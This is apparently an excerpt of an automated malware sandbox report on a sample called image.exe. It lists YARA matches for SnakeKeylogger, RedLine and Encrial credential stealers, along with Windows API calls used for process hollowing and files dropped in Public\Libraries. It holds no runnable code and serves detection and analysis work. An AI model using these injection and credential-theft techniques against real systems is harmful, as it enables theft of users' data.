            Source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 0.2.image.exe.21e00948.11.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 0.2.image.exe.21e933d8.10.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 4.2.Pumyophn.PIF.215835b8.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 00000007.00000001.1828156271.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 00000007.00000002.2945818229.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 0000000E.00000001.1913774017.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 0000000E.00000002.2945858419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 00000003.00000002.1965140113.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: Process Memory Space: nhpoymuP.pif PID: 7416, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: Process Memory Space: nhpoymuP.pif PID: 7688, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: Process Memory Space: nhpoymuP.pif PID: 8008, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Initial sample is a PE file and has a suspicious name
            Source: initial sampleStatic PE information: Filename: image.exe
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA824C NtReadVirtualMemory,0_2_02CA824C
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA84BC NtUnmapViewOfSection,0_2_02CA84BC
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CADAC4 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,0_2_02CADAC4
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CADA3C RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,0_2_02CADA3C
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA8BA8 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,0_2_02CA8BA8
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CADBA8 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,0_2_02CADBA8
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA79AC NtAllocateVirtualMemory,0_2_02CA79AC
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA7CF8 NtWriteVirtualMemory,0_2_02CA7CF8
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA8BA6 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,0_2_02CA8BA6
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CAD9E8 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,0_2_02CAD9E8
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA79AA NtAllocateVirtualMemory,0_2_02CA79AA
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CB824C NtReadVirtualMemory,4_2_02CB824C
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CB84BC NtUnmapViewOfSection,4_2_02CB84BC
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CBDAC4 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,4_2_02CBDAC4
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CBDA3C RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,4_2_02CBDA3C
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CB8BA8 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,4_2_02CB8BA8
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CBDBA8 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,4_2_02CBDBA8
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CB79AC NtAllocateVirtualMemory,4_2_02CB79AC
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CB7CF8 NtWriteVirtualMemory,4_2_02CB7CF8
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CB8BA6 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,4_2_02CB8BA6
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CBD9E8 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,4_2_02CBD9E8
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CB79AA NtAllocateVirtualMemory,4_2_02CB79AA
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EE824C NtReadVirtualMemory,9_2_02EE824C
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EE84BC NtUnmapViewOfSection,9_2_02EE84BC
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EEDAC4 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,9_2_02EEDAC4
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EEDA3C RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,9_2_02EEDA3C
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EE8BA8 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,9_2_02EE8BA8
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EEDBA8 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,9_2_02EEDBA8
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EE79AC NtAllocateVirtualMemory,9_2_02EE79AC
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EE7CF8 NtWriteVirtualMemory,9_2_02EE7CF8
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EE8BA6 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,9_2_02EE8BA6
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EED9E8 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,9_2_02EED9E8
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02EE79AA NtAllocateVirtualMemory,9_2_02EE79AA
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA85D4 CreateProcessAsUserW,0_2_02CA85D4
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C920C40_2_02C920C4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_00408C603_2_00408C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_0040DC113_2_0040DC11
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_00407C3F3_2_00407C3F
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_00418CCC3_2_00418CCC
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_00406CA03_2_00406CA0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004028B03_2_004028B0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_0041A4BE3_2_0041A4BE
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_00408C603_2_00408C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004182443_2_00418244
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004016503_2_00401650
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_00402F203_2_00402F20
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004193C43_2_004193C4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004187883_2_00418788
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_00402F893_2_00402F89
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_00402B903_2_00402B90
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004073A03_2_004073A0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_2F5512C03_2_2F5512C0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_2F5512B03_2_2F5512B0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_2F5515603_2_2F551560
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_325033583_2_32503358
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_32502E093_2_32502E09
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_325033B53_2_325033B5
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_32501C543_2_32501C54
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_32502B0E3_2_32502B0E
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_32502BA53_2_32502BA5
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_3250AC703_2_3250AC70
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_3250AC603_2_3250AC60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_004028B03_1_004028B0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_00408C603_1_00408C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_004182443_1_00418244
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_004193C43_1_004193C4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_00402B903_1_00402B90
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_004073A03_1_004073A0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_00408C603_1_00408C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_0040DC113_1_0040DC11
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_00407C3F3_1_00407C3F
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_00418CCC3_1_00418CCC
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_00406CA03_1_00406CA0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_0041A4BE3_1_0041A4BE
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_004016503_1_00401650
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_00402F203_1_00402F20
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_004187883_1_00418788
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_00402F893_1_00402F89
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 4_2_02CA20C44_2_02CA20C4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_00408C607_2_00408C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_0040DC117_2_0040DC11
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_00407C3F7_2_00407C3F
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_00418CCC7_2_00418CCC
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_00406CA07_2_00406CA0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_004028B07_2_004028B0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_0041A4BE7_2_0041A4BE
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_00408C607_2_00408C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_004182447_2_00418244
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_004016507_2_00401650
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_00402F207_2_00402F20
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_004193C47_2_004193C4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_004187887_2_00418788
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_00402F897_2_00402F89
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_00402B907_2_00402B90
